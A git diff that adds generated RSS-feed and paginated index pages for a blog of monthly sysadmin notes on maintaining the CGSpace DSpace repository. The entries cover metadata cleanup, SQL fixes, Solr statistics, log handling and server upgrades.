+</ul> +<h2 id="2017-07-04">2017-07-04</h2> +<ul> +<li>Merge changes for WLE Phase II theme rename (<a href="https://github.com/ilri/DSpace/pull/329">#329</a>)</li> +<li>Looking at extracting the metadata registries from ICARDA&rsquo;s MEL DSpace database so we can compare fields with CGSpace</li> +<li>We can use PostgreSQL&rsquo;s extended output format (<code>-x</code>) plus <code>sed</code> to format the output into quasi XML:</li> +</ul> + + + + June, 2017 + https://alanorth.github.io/cgspace-notes/2017-06/ + Thu, 01 Jun 2017 10:14:52 +0300 + + https://alanorth.github.io/cgspace-notes/2017-06/ + 2017-06-01 After discussion with WLE and CGSpace content people, we decided to just add one metadata field for the WLE Research Themes The cg.identifier.wletheme field will be used for both Phase I and Phase II Research Themes Then we&rsquo;ll create a new sub-community for Phase II and create collections for the research themes there The current &ldquo;Research Themes&rdquo; community will be renamed to &ldquo;WLE Phase I Research Themes&rdquo; Tagged all items in the current Phase I collections with their appropriate themes Create pull request to add Phase II research themes to the submission form: #328 Add cg. + + + + May, 2017 + https://alanorth.github.io/cgspace-notes/2017-05/ + Mon, 01 May 2017 16:21:52 +0200 + + https://alanorth.github.io/cgspace-notes/2017-05/ + 2017-05-01 ICARDA apparently started working on CG Core on their MEL repository They have done a few cg.* fields, but not very consistent and even copy some of CGSpace items: https://mel.cgiar.org/xmlui/handle/20.500.11766/6911?show=full https://cgspace.cgiar.org/handle/10568/73683 2017-05-02 Atmire got back about the Workflow Statistics issue, and apparently it&rsquo;s a bug in the CUA module so they will send us a pull request 2017-05-04 Sync DSpace Test with database and assetstore from CGSpace Re-deploy DSpace Test with Atmire&rsquo;s CUA patch for workflow statistics, run system updates, and restart the server Now I can see the workflow statistics and am able to select users, but everything returns 0 items Megan says there are still some mapped items are not appearing since last week, so I forced a full index-discovery -b Need to remember to check if the collection has more items (currently 39 on CGSpace, but 118 on the freshly reindexed DSPace Test) tomorrow: https://cgspace. + + + + April, 2017 + https://alanorth.github.io/cgspace-notes/2017-04/ + Sun, 02 Apr 2017 17:08:52 +0200 + + https://alanorth.github.io/cgspace-notes/2017-04/ + <h2 id="2017-04-02">2017-04-02</h2> +<ul> +<li>Merge one change to CCAFS flagships that I had forgotten to remove last month (&ldquo;MANAGING CLIMATE RISK&rdquo;): <a href="https://github.com/ilri/DSpace/pull/317">https://github.com/ilri/DSpace/pull/317</a></li> +<li>Quick proof-of-concept hack to add <code>dc.rights</code> to the input form, including some inline instructions/hints:</li> +</ul> +<p><img src="https://alanorth.github.io/cgspace-notes/cgspace-notes/2017/04/dc-rights.png" alt="dc.rights in the submission form"></p> +<ul> +<li>Remove redundant/duplicate text in the DSpace submission license</li> +<li>Testing the CMYK patch on a collection with 650 items:</li> +</ul> +<pre tabindex="0"><code>$ [dspace]/bin/dspace filter-media -f -i 10568/16498 -p &#34;ImageMagick PDF Thumbnail&#34; -v &gt;&amp; /tmp/filter-media-cmyk.txt +</code></pre> + + + + March, 2017 + https://alanorth.github.io/cgspace-notes/2017-03/ + Wed, 01 Mar 2017 17:08:52 +0200 + + https://alanorth.github.io/cgspace-notes/2017-03/ + <h2 id="2017-03-01">2017-03-01</h2> +<ul> +<li>Run the 279 CIAT author corrections on CGSpace</li> +</ul> +<h2 id="2017-03-02">2017-03-02</h2> +<ul> +<li>Skype with Michael and Peter, discussing moving the CGIAR Library to CGSpace</li> +<li>CGIAR people possibly open to moving content, redirecting library.cgiar.org to CGSpace and letting CGSpace resolve their handles</li> +<li>They might come in at the top level in one &ldquo;CGIAR System&rdquo; community, or with several communities</li> +<li>I need to spend a bit of time looking at the multiple handle support in DSpace and see if new content can be minted in both handles, or just one?</li> +<li>Need to send Peter and Michael some notes about this in a few days</li> +<li>Also, need to consider talking to Atmire about hiring them to bring ORCiD metadata to REST / OAI</li> +<li>Filed an issue on DSpace issue tracker for the <code>filter-media</code> bug that causes it to process JPGs even when limiting to the PDF thumbnail plugin: <a href="https://jira.duraspace.org/browse/DS-3516">DS-3516</a></li> +<li>Discovered that the ImageMagic <code>filter-media</code> plugin creates JPG thumbnails with the CMYK colorspace when the source PDF is using CMYK</li> +<li>Interestingly, it seems DSpace 4.x&rsquo;s thumbnails were sRGB, but forcing regeneration using DSpace 5.x&rsquo;s ImageMagick plugin creates CMYK JPGs if the source PDF was CMYK (see <a href="https://cgspace.cgiar.org/handle/10568/51999">10568/51999</a>):</li> +</ul> +<pre tabindex="0"><code>$ identify ~/Desktop/alc_contrastes_desafios.jpg +/Users/aorth/Desktop/alc_contrastes_desafios.jpg JPEG 464x600 464x600+0+0 8-bit CMYK 168KB 0.000u 0:00.000 +</code></pre> + + + + February, 2017 + https://alanorth.github.io/cgspace-notes/2017-02/ + Tue, 07 Feb 2017 07:04:52 -0800 + + https://alanorth.github.io/cgspace-notes/2017-02/ + <h2 id="2017-02-07">2017-02-07</h2> +<ul> +<li>An item was mapped twice erroneously again, so I had to remove one of the mappings manually:</li> +</ul> +<pre tabindex="0"><code>dspace=# select * from collection2item where item_id = &#39;80278&#39;; + id | collection_id | item_id +-------+---------------+--------- + 92551 | 313 | 80278 + 92550 | 313 | 80278 + 90774 | 1051 | 80278 +(3 rows) +dspace=# delete from collection2item where id = 92551 and item_id = 80278; +DELETE 1 +</code></pre><ul> +<li>Create issue on GitHub to track the addition of CCAFS Phase II project tags (<a href="https://github.com/ilri/DSpace/issues/301">#301</a>)</li> +<li>Looks like we&rsquo;ll be using <code>cg.identifier.ccafsprojectpii</code> as the field name</li> +</ul> + + + + January, 2017 + https://alanorth.github.io/cgspace-notes/2017-01/ + Mon, 02 Jan 2017 10:43:00 +0300 + + https://alanorth.github.io/cgspace-notes/2017-01/ + <h2 id="2017-01-02">2017-01-02</h2> +<ul> +<li>I checked to see if the Solr sharding task that is supposed to run on January 1st had run and saw there was an error</li> +<li>I tested on DSpace Test as well and it doesn&rsquo;t work there either</li> +<li>I asked on the dspace-tech mailing list because it seems to be broken, and actually now I&rsquo;m not sure if we&rsquo;ve ever had the sharding task run successfully over all these years</li> +</ul> + + + + December, 2016 + https://alanorth.github.io/cgspace-notes/2016-12/ + Fri, 02 Dec 2016 10:43:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-12/ + <h2 id="2016-12-02">2016-12-02</h2> +<ul> +<li>CGSpace was down for five hours in the morning while I was sleeping</li> +<li>While looking in the logs for errors, I see tons of warnings about Atmire MQM:</li> +</ul> +<pre tabindex="0"><code>2016-12-02 03:00:32,352 WARN com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=CREATE, SubjectType=BUNDLE, SubjectID=70316, ObjectType=(Unknown), ObjectID=-1, TimeStamp=1480647632305, dispatcher=1544803905, detail=[null], transactionID=&#34;TX157907838689377964651674089851855413607&#34;) +2016-12-02 03:00:32,353 WARN com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=MODIFY_METADATA, SubjectType=BUNDLE, SubjectID =70316, ObjectType=(Unknown), ObjectID=-1, TimeStamp=1480647632309, dispatcher=1544803905, detail=&#34;dc.title&#34;, transactionID=&#34;TX157907838689377964651674089851855413607&#34;) +2016-12-02 03:00:32,353 WARN com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=ADD, SubjectType=ITEM, SubjectID=80044, Object Type=BUNDLE, ObjectID=70316, TimeStamp=1480647632311, dispatcher=1544803905, detail=&#34;THUMBNAIL&#34;, transactionID=&#34;TX157907838689377964651674089851855413607&#34;) +2016-12-02 03:00:32,353 WARN com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=ADD, SubjectType=BUNDLE, SubjectID=70316, Obje ctType=BITSTREAM, ObjectID=86715, TimeStamp=1480647632318, dispatcher=1544803905, detail=&#34;-1&#34;, transactionID=&#34;TX157907838689377964651674089851855413607&#34;) +2016-12-02 03:00:32,353 WARN com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=MODIFY, SubjectType=ITEM, SubjectID=80044, ObjectType=(Unknown), ObjectID=-1, TimeStamp=1480647632351, dispatcher=1544803905, detail=[null], transactionID=&#34;TX157907838689377964651674089851855413607&#34;) +</code></pre><ul> +<li>I see thousands of them in the logs for the last few months, so it&rsquo;s not related to the DSpace 5.5 upgrade</li> +<li>I&rsquo;ve raised a ticket with Atmire to ask</li> +<li>Another worrying error from dspace.log is:</li> +</ul> + + + + November, 2016 + https://alanorth.github.io/cgspace-notes/2016-11/ + Tue, 01 Nov 2016 09:21:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-11/ + <h2 id="2016-11-01">2016-11-01</h2> +<ul> +<li>Add <code>dc.type</code> to the output options for Atmire&rsquo;s Listings and Reports module (<a href="https://github.com/ilri/DSpace/pull/286">#286</a>)</li> +</ul> +<p><img src="https://alanorth.github.io/cgspace-notes/cgspace-notes/2016/11/listings-and-reports.png" alt="Listings and Reports with output type"></p> + + + + October, 2016 + https://alanorth.github.io/cgspace-notes/2016-10/ + Mon, 03 Oct 2016 15:53:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-10/ + <h2 id="2016-10-03">2016-10-03</h2> +<ul> +<li>Testing adding <a href="https://wiki.lyrasis.org/display/DSDOC5x/ORCID+Integration#ORCIDIntegration-EditingexistingitemsusingBatchCSVEditing">ORCIDs to a CSV</a> file for a single item to see if the author orders get messed up</li> +<li>Need to test the following scenarios to see how author order is affected: +<ul> +<li>ORCIDs only</li> +<li>ORCIDs plus normal authors</li> +</ul> +</li> +<li>I exported a random item&rsquo;s metadata as CSV, deleted <em>all columns</em> except id and collection, and made a new coloum called <code>ORCID:dc.contributor.author</code> with the following random ORCIDs from the ORCID registry:</li> +</ul> +<pre tabindex="0"><code>0000-0002-6115-0956||0000-0002-3812-8793||0000-0001-7462-405X +</code></pre> + + + + September, 2016 + https://alanorth.github.io/cgspace-notes/2016-09/ + Thu, 01 Sep 2016 15:53:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-09/ + <h2 id="2016-09-01">2016-09-01</h2> +<ul> +<li>Discuss helping CCAFS with some batch tagging of ORCID IDs for their authors</li> +<li>Discuss how the migration of CGIAR&rsquo;s Active Directory to a flat structure will break our LDAP groups in DSpace</li> +<li>We had been using <code>DC=ILRI</code> to determine whether a user was ILRI or not</li> +<li>It looks like we might be able to use OUs now, instead of DCs:</li> +</ul> +<pre tabindex="0"><code>$ ldapsearch -x -H ldaps://svcgroot2.cgiarad.org:3269/ -b &#34;dc=cgiarad,dc=org&#34; -D &#34;admigration1@cgiarad.org&#34; -W &#34;(sAMAccountName=admigration1)&#34; +</code></pre> + + + + August, 2016 + https://alanorth.github.io/cgspace-notes/2016-08/ + Mon, 01 Aug 2016 15:53:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-08/ + <h2 id="2016-08-01">2016-08-01</h2> +<ul> +<li>Add updated distribution license from Sisay (<a href="https://github.com/ilri/DSpace/issues/259">#259</a>)</li> +<li>Play with upgrading Mirage 2 dependencies in <code>bower.json</code> because most are several versions of out date</li> +<li>Bootstrap is at 3.3.0 but upstream is at 3.3.7, and upgrading to anything beyond 3.3.1 breaks glyphicons and probably more</li> +<li>bower stuff is a dead end, waste of time, too many issues</li> +<li>Anything after Bootstrap 3.3.1 makes glyphicons disappear (HTTP 404 trying to access from incorrect path of <code>fonts</code>)</li> +<li>Start working on DSpace 5.1 → 5.5 port:</li> +</ul> +<pre tabindex="0"><code>$ git checkout -b 55new 5_x-prod +$ git reset --hard ilri/5_x-prod +$ git rebase -i dspace-5.5 +</code></pre> + + + + July, 2016 + https://alanorth.github.io/cgspace-notes/2016-07/ + Fri, 01 Jul 2016 10:53:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-07/ + <h2 id="2016-07-01">2016-07-01</h2> +<ul> +<li>Add <code>dc.description.sponsorship</code> to Discovery sidebar facets and make investors clickable in item view (<a href="https://github.com/ilri/DSpace/issues/232">#232</a>)</li> +<li>I think this query should find and replace all authors that have &ldquo;,&rdquo; at the end of their names:</li> +</ul> +<pre tabindex="0"><code>dspacetest=# update metadatavalue set text_value = regexp_replace(text_value, &#39;(^.+?),$&#39;, &#39;\1&#39;) where metadata_field_id=3 and resource_type_id=2 and text_value ~ &#39;^.+?,$&#39;; +UPDATE 95 +dspacetest=# select text_value from metadatavalue where metadata_field_id=3 and resource_type_id=2 and text_value ~ &#39;^.+?,$&#39;; + text_value +------------ +(0 rows) +</code></pre><ul> +<li>In this case the select query was showing 95 results before the update</li> +</ul> + + + + June, 2016 + https://alanorth.github.io/cgspace-notes/2016-06/ + Wed, 01 Jun 2016 10:53:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-06/ + <h2 id="2016-06-01">2016-06-01</h2> +<ul> +<li>Experimenting with IFPRI OAI (we want to harvest their publications)</li> +<li>After reading the <a href="https://www.oclc.org/support/services/contentdm/help/server-admin-help/oai-support.en.html">ContentDM documentation</a> I found IFPRI&rsquo;s OAI endpoint: <a href="http://ebrary.ifpri.org/oai/oai.php">http://ebrary.ifpri.org/oai/oai.php</a></li> +<li>After reading the <a href="https://www.openarchives.org/OAI/openarchivesprotocol.html">OAI documentation</a> and testing with an <a href="http://validator.oaipmh.com/">OAI validator</a> I found out how to get their publications</li> +<li>This is their publications set: <a href="http://ebrary.ifpri.org/oai/oai.php?verb=ListRecords&amp;from=2016-01-01&amp;set=p15738coll2&amp;metadataPrefix=oai_dc">http://ebrary.ifpri.org/oai/oai.php?verb=ListRecords&amp;from=2016-01-01&amp;set=p15738coll2&amp;metadataPrefix=oai_dc</a></li> +<li>You can see the others by using the OAI <code>ListSets</code> verb: <a href="http://ebrary.ifpri.org/oai/oai.php?verb=ListSets">http://ebrary.ifpri.org/oai/oai.php?verb=ListSets</a></li> +<li>Working on second phase of metadata migration, looks like this will work for moving CPWF-specific data in <code>dc.identifier.fund</code> to <code>cg.identifier.cpwfproject</code> and then the rest to <code>dc.description.sponsorship</code></li> +</ul> + + + + May, 2016 + https://alanorth.github.io/cgspace-notes/2016-05/ + Sun, 01 May 2016 23:06:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-05/ + <h2 id="2016-05-01">2016-05-01</h2> +<ul> +<li>Since yesterday there have been 10,000 REST errors and the site has been unstable again</li> +<li>I have blocked access to the API now</li> +<li>There are 3,000 IPs accessing the REST API in a 24-hour period!</li> +</ul> +<pre tabindex="0"><code># awk &#39;{print $1}&#39; /var/log/nginx/rest.log | uniq | wc -l +3168 +</code></pre> + + + + April, 2016 + https://alanorth.github.io/cgspace-notes/2016-04/ + Mon, 04 Apr 2016 11:06:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-04/ + <h2 id="2016-04-04">2016-04-04</h2> +<ul> +<li>Looking at log file use on CGSpace and notice that we need to work on our cron setup a bit</li> +<li>We are backing up all logs in the log folder, including useless stuff like solr, cocoon, handle-plugin, etc</li> +<li>After running DSpace for over five years I&rsquo;ve never needed to look in any other log file than dspace.log, leave alone one from last year!</li> +<li>This will save us a few gigs of backup space we&rsquo;re paying for on S3</li> +<li>Also, I noticed the <code>checker</code> log has some errors we should pay attention to:</li> +</ul> + + + + March, 2016 + https://alanorth.github.io/cgspace-notes/2016-03/ + Wed, 02 Mar 2016 16:50:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-03/ + <h2 id="2016-03-02">2016-03-02</h2> +<ul> +<li>Looking at issues with author authorities on CGSpace</li> +<li>For some reason we still have the <code>index-lucene-update</code> cron job active on CGSpace, but I&rsquo;m pretty sure we don&rsquo;t need it as of the latest few versions of Atmire&rsquo;s Listings and Reports module</li> +<li>Reinstall my local (Mac OS X) DSpace stack with Tomcat 7, PostgreSQL 9.3, and Java JDK 1.7 to match environment on CGSpace server</li> +</ul> + + + + February, 2016 + https://alanorth.github.io/cgspace-notes/2016-02/ + Fri, 05 Feb 2016 13:18:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-02/ + <h2 id="2016-02-05">2016-02-05</h2> +<ul> +<li>Looking at some DAGRIS data for Abenet Yabowork</li> +<li>Lots of issues with spaces, newlines, etc causing the import to fail</li> +<li>I noticed we have a very <em>interesting</em> list of countries on CGSpace:</li> +</ul> +<p><img src="https://alanorth.github.io/cgspace-notes/cgspace-notes/2016/02/cgspace-countries.png" alt="CGSpace country list"></p> +<ul> +<li>Not only are there 49,000 countries, we have some blanks (25)&hellip;</li> +<li>Also, lots of things like &ldquo;COTE D`LVOIRE&rdquo; and &ldquo;COTE D IVOIRE&rdquo;</li> +</ul> + + + + January, 2016 + https://alanorth.github.io/cgspace-notes/2016-01/ + Wed, 13 Jan 2016 13:18:00 +0300 + + https://alanorth.github.io/cgspace-notes/2016-01/ + <h2 id="2016-01-13">2016-01-13</h2> +<ul> +<li>Move ILRI collection <code>10568/12503</code> from <code>10568/27869</code> to <code>10568/27629</code> using the <a href="https://gist.github.com/alanorth/392c4660e8b022d99dfa">move_collections.sh</a> script I wrote last year.</li> +<li>I realized it is only necessary to clear the Cocoon cache after moving collections—rather than reindexing—as no metadata has changed, and therefore no search or browse indexes need to be updated.</li> +<li>Update GitHub wiki for documentation of <a href="https://github.com/ilri/DSpace/wiki/Maintenance-Tasks">maintenance tasks</a>.</li> +</ul> + + + + December, 2015 + https://alanorth.github.io/cgspace-notes/2015-12/ + Wed, 02 Dec 2015 13:18:00 +0300 + + https://alanorth.github.io/cgspace-notes/2015-12/ + <h2 id="2015-12-02">2015-12-02</h2> +<ul> +<li>Replace <code>lzop</code> with <code>xz</code> in log compression cron jobs on DSpace Test—it uses less space:</li> +</ul> +<pre tabindex="0"><code># cd /home/dspacetest.cgiar.org/log +# ls -lh dspace.log.2015-11-18* +-rw-rw-r-- 1 tomcat7 tomcat7 2.0M Nov 18 23:59 dspace.log.2015-11-18 +-rw-rw-r-- 1 tomcat7 tomcat7 387K Nov 18 23:59 dspace.log.2015-11-18.lzo +-rw-rw-r-- 1 tomcat7 tomcat7 169K Nov 18 23:59 dspace.log.2015-11-18.xz +</code></pre> + + + + November, 2015 + https://alanorth.github.io/cgspace-notes/2015-11/ + Mon, 23 Nov 2015 17:00:57 +0300 + + https://alanorth.github.io/cgspace-notes/2015-11/ + <h2 id="2015-11-22">2015-11-22</h2> +<ul> +<li>CGSpace went down</li> +<li>Looks like DSpace exhausted its PostgreSQL connection pool</li> +<li>Last week I had increased the limit from 30 to 60, which seemed to help, but now there are many more idle connections:</li> +</ul> +<pre tabindex="0"><code>$ psql -c &#39;SELECT * from pg_stat_activity;&#39; | grep idle | grep -c cgspace +78 +</code></pre> + + + + diff --git a/docs/posts/page/1/index.html b/docs/posts/page/1/index.html new file mode 100644 index 000000000..8da731956 --- /dev/null +++ b/docs/posts/page/1/index.html @@ -0,0 +1,10 @@ + + + + https://alanorth.github.io/cgspace-notes/posts/ + + + + + + diff --git a/docs/posts/page/10/index.html b/docs/posts/page/10/index.html new file mode 100644 index 000000000..bbaf5fcc7 --- /dev/null +++ b/docs/posts/page/10/index.html @@ -0,0 +1,325 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + + +
+
+

April, 2016

+

by Alan Orth in + +  + +

+
+

2016-04-04

+
    +
  • Looking at log file use on CGSpace and notice that we need to work on our cron setup a bit
    • +
  • We are backing up all logs in the log folder, including useless stuff like solr, cocoon, handle-plugin, etc
    • +
  • After running DSpace for over five years I’ve never needed to look in any other log file than dspace.log, leave alone one from last year!
    • +
  • This will save us a few gigs of backup space we’re paying for on S3
    • +
  • Also, I noticed the checker log has some errors we should pay attention to:
    • +
+ Read more → +
+ + + + + + +
+
+

March, 2016

+

by Alan Orth in + +  + +

+
+

2016-03-02

+
    +
  • Looking at issues with author authorities on CGSpace
    • +
  • For some reason we still have the index-lucene-update cron job active on CGSpace, but I’m pretty sure we don’t need it as of the latest few versions of Atmire’s Listings and Reports module
    • +
  • Reinstall my local (Mac OS X) DSpace stack with Tomcat 7, PostgreSQL 9.3, and Java JDK 1.7 to match environment on CGSpace server
    • +
+ Read more → +
+ + + + + + +
+
+

February, 2016

+

by Alan Orth in + +  + +

+
+

2016-02-05

+
    +
  • Looking at some DAGRIS data for Abenet Yabowork
    • +
  • Lots of issues with spaces, newlines, etc causing the import to fail
    • +
  • I noticed we have a very interesting list of countries on CGSpace:
    • +
+

CGSpace country list

+
    +
  • Not only are there 49,000 countries, we have some blanks (25)…
    • +
  • Also, lots of things like “COTE D`LVOIRE” and “COTE D IVOIRE”
    • +
+ Read more → +
+ + + + + + +
+
+

January, 2016

+

by Alan Orth in + +  + +

+
+

2016-01-13

+
    +
  • Move ILRI collection 10568/12503 from 10568/27869 to 10568/27629 using the move_collections.sh script I wrote last year.
    • +
  • I realized it is only necessary to clear the Cocoon cache after moving collections—rather than reindexing—as no metadata has changed, and therefore no search or browse indexes need to be updated.
    • +
  • Update GitHub wiki for documentation of maintenance tasks.
    • +
+ Read more → +
+ + + + + + +
+
+

December, 2015

+

by Alan Orth in + +  + +

+
+

2015-12-02

+
    +
  • Replace lzop with xz in log compression cron jobs on DSpace Test—it uses less space:
    • +
+
# cd /home/dspacetest.cgiar.org/log
+# ls -lh dspace.log.2015-11-18*
+-rw-rw-r-- 1 tomcat7 tomcat7 2.0M Nov 18 23:59 dspace.log.2015-11-18
+-rw-rw-r-- 1 tomcat7 tomcat7 387K Nov 18 23:59 dspace.log.2015-11-18.lzo
+-rw-rw-r-- 1 tomcat7 tomcat7 169K Nov 18 23:59 dspace.log.2015-11-18.xz
+
+ Read more → +
+ + + + + + +
+
+

November, 2015

+

by Alan Orth in + +  + +

+
+

2015-11-22

+
    +
  • CGSpace went down
    • +
  • Looks like DSpace exhausted its PostgreSQL connection pool
    • +
  • Last week I had increased the limit from 30 to 60, which seemed to help, but now there are many more idle connections:
    • +
+
$ psql -c 'SELECT * from pg_stat_activity;' | grep idle | grep -c cgspace
+78
+
+ Read more → +
+ + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/posts/page/2/index.html b/docs/posts/page/2/index.html new file mode 100644 index 000000000..d21c3b19c --- /dev/null +++ b/docs/posts/page/2/index.html @@ -0,0 +1,449 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + + +
+
+

September, 2022

+

by Alan Orth in + Notes + + +

+
+

2022-09-01

+
    +
  • A bit of work on the “Mapping CG Core–CGSpace–MEL–MARLO Types” spreadsheet
    • +
  • I tested an item submission on DSpace Test with the Cocoon org.apache.cocoon.uploads.autosave=false change +
      +
    • The submission works as expected
      • +
    +
    • +
  • Start debugging some region-related issues with csv-metadata-quality +
      +
    • I created a new test file test-geography.csv with some different scenarios
      • +
    • I also fixed a few bugs and improved the region-matching logic
      • +
    +
    • +
+ Read more → +
+ + + + + + + + + + + + + +
+
+

July, 2022

+

by Alan Orth in + Notes + + +

+
+

2022-07-02

+
    +
  • I learned how to use the Levenshtein functions in PostgreSQL +
      +
    • The thing is that there is a limit of 255 characters for these functions in PostgreSQL so you need to truncate the strings before comparing
      • +
    • Also, the trgm functions I’ve used before are case insensitive, but Levenshtein is not, so you need to make sure to lower case both strings first
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

June, 2022

+

by Alan Orth in + Notes + + +

+
+

2022-06-06

+
    +
  • Look at the Solr statistics on CGSpace +
      +
    • I see 167,000 hits from a bunch of Microsoft IPs with reverse DNS “msnbot-” using the Solr query dns:*msnbot* AND dns:*.msn.com
      • +
    • I purged these first so I could see the other “real” IPs in the Solr facets
      • +
    +
    • +
  • I see 47,500 hits from 80.248.237.167 on a data center ISP in Sweden, using a normal user agent
    • +
  • I see 13,000 hits from 163.237.216.11 on a data center ISP in Australia, using a normal user agent
    • +
  • I see 7,300 hits from 208.185.238.57 from Britanica, using a normal user agent +
      +
    • There seem to be many more of these:
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

May, 2022

+

by Alan Orth in + Notes + + +

+
+

2022-05-04

+
    +
  • I found a few more IPs making requests using the shady Chrome 44 user agent in the last few days so I will add them to the block list too: +
      +
    • 18.207.136.176
      • +
    • 185.189.36.248
      • +
    • 50.118.223.78
      • +
    • 52.70.76.123
      • +
    • 3.236.10.11
      • +
    +
    • +
  • Looking at the Solr statistics for 2022-04 +
      +
    • 52.191.137.59 is Microsoft, but they are using a normal user agent and making tens of thousands of requests
      • +
    • 64.39.98.62 is owned by Qualys, and all their requests are probing for /etc/passwd etc
      • +
    • 185.192.69.15 is in the Netherlands and is using a normal user agent, but making excessive automated HTTP requests to paths forbidden in robots.txt
      • +
    • 157.55.39.159 is owned by Microsoft and identifies as bingbot so I don’t know why its requests were logged in Solr
      • +
    • 52.233.67.176 is owned by Microsoft and uses a normal user agent, but making excessive automated HTTP requests
      • +
    • 157.55.39.144 is owned by Microsoft and uses a normal user agent, but making excessive automated HTTP requests
      • +
    • 207.46.13.177 is owned by Microsoft and identifies as bingbot so I don’t know why its requests were logged in Solr
      • +
    • If I query Solr for time:2022-04* AND dns:*msnbot* AND dns:*.msn.com. I see a handful of IPs that made 41,000 requests
      • +
    +
    • +
  • I purged 93,974 hits from these IPs using my check-spider-ip-hits.sh script
    • +
+ Read more → +
+ + + + + + +
+
+

April, 2022

+

by Alan Orth in + Notes + + +

+
+ 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia’s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. + Read more → +
+ + + + + + +
+
+

March, 2022

+

by Alan Orth in + Notes + + +

+
+

2022-03-01

+
    +
  • Send Gaia the last batch of potential duplicates for items 701 to 980:
    • +
+
$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4.csv
+$ ./ilri/check-duplicates.py -i /tmp/tac4.csv -db dspace -u dspace -p 'fuuu' -o /tmp/2022-03-01-tac-batch4-701-980.csv
+$ csvcut -c id,filename ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4-filenames.csv
+$ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv > /tmp/2022-03-01-tac-batch4-701-980-filenames.csv
+
+ Read more → +
+ + + + + + +
+
+

February, 2022

+

by Alan Orth in + Notes + + +

+
+

2022-02-01

+
    +
  • Meeting with Peter and Abenet about CGSpace in the One CGIAR +
      +
    • We agreed to buy $5,000 worth of credits from Atmire for future upgrades
      • +
    • We agreed to move CRPs and non-CGIAR communities off the home page, as well as some other things for the CGIAR System Organization
      • +
    • We agreed to make a Discovery facet for CGIAR Action Areas above the existing CGIAR Impact Areas one
      • +
    • We agreed to try to do more alignment of affiliations/funders with ROR
      • +
    +
    • +
+ Read more → +
+ + + + + + + + + + + + + +
+
+

December, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-12-01

+
    +
  • Atmire merged some changes I had submitted to the COUNTER-Robots project
    • +
  • I updated our local spider user agents and then re-ran the list with my check-spider-hits.sh script on CGSpace:
    • +
+
$ ./ilri/check-spider-hits.sh -f /tmp/agents -p  
+Purging 1989 hits from The Knowledge AI in statistics
+Purging 1235 hits from MaCoCu in statistics
+Purging 455 hits from WhatsApp in statistics
+
+Total number of bot hits purged: 3679
+
+ Read more → +
+ + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/posts/page/3/index.html b/docs/posts/page/3/index.html new file mode 100644 index 000000000..cd4981629 --- /dev/null +++ b/docs/posts/page/3/index.html @@ -0,0 +1,444 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + + +
+
+

November, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-11-02

+
    +
  • I experimented with manually sharding the Solr statistics on DSpace Test
    • +
  • First I exported all the 2019 stats from CGSpace:
    • +
+
$ ./run.sh -s http://localhost:8081/solr/statistics -f 'time:2019-*' -a export -o statistics-2019.json -k uid
+$ zstd statistics-2019.json
+
+ Read more → +
+ + + + + + +
+
+

October, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-10-01

+
    +
  • Export all affiliations on CGSpace and run them against the latest RoR data dump:
    • +
+
localhost/dspace63= > \COPY (SELECT DISTINCT text_value as "cg.contributor.affiliation", count(*) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id = 211 GROUP BY text_value ORDER BY count DESC) to /tmp/2021-10-01-affiliations.csv WITH CSV HEADER;
+$ csvcut -c 1 /tmp/2021-10-01-affiliations.csv | sed 1d > /tmp/2021-10-01-affiliations.txt
